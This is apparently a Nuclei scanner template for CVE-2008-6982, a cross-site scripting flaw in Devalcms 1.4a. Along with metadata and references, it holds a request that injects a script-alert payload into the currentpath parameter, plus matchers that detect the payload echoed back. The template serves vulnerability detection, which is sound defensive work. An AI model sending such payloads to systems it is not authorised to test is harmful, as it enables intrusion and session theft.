id: CVE-2008-6982

info:
  name: Devalcms 1.4a - Cross-Site Scripting
  author: arafatansari
  severity: medium
  description: |
    Devalcms 1.4a contains a cross-site scripting vulnerability in the currentpath parameter of the index.php file.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/6369
    - http://sourceforge.net/projects/devalcms/files/devalcms/devalcms-1.4b/devalcms-1.4b.zip/download
    - https://nvd.nist.gov/vuln/detail/CVE-2008-6982
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/44940
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2008-6982
    cwe-id: CWE-79
    epss-score: 0.05735
    epss-percentile: 0.92064
    cpe: cpe:2.3:a:devalcms:devalcms:1.4a:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: devalcms
    product: devalcms
  tags: cve,cve2008,devalcms,xss,cms,edb,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/index.php?currentpath=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'sub menu for: <script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 500
# digest: 4a0a004730450220390b799e3381b03d71921e568501ee6298f5192a2bff515c3d1697e9d04ce0db022100ec4b42bceb03b00b9e552fc8bcfe498a8374077a1ea1036c155692ae34b6fab3:922c64590222798bb761d5b6d8e72950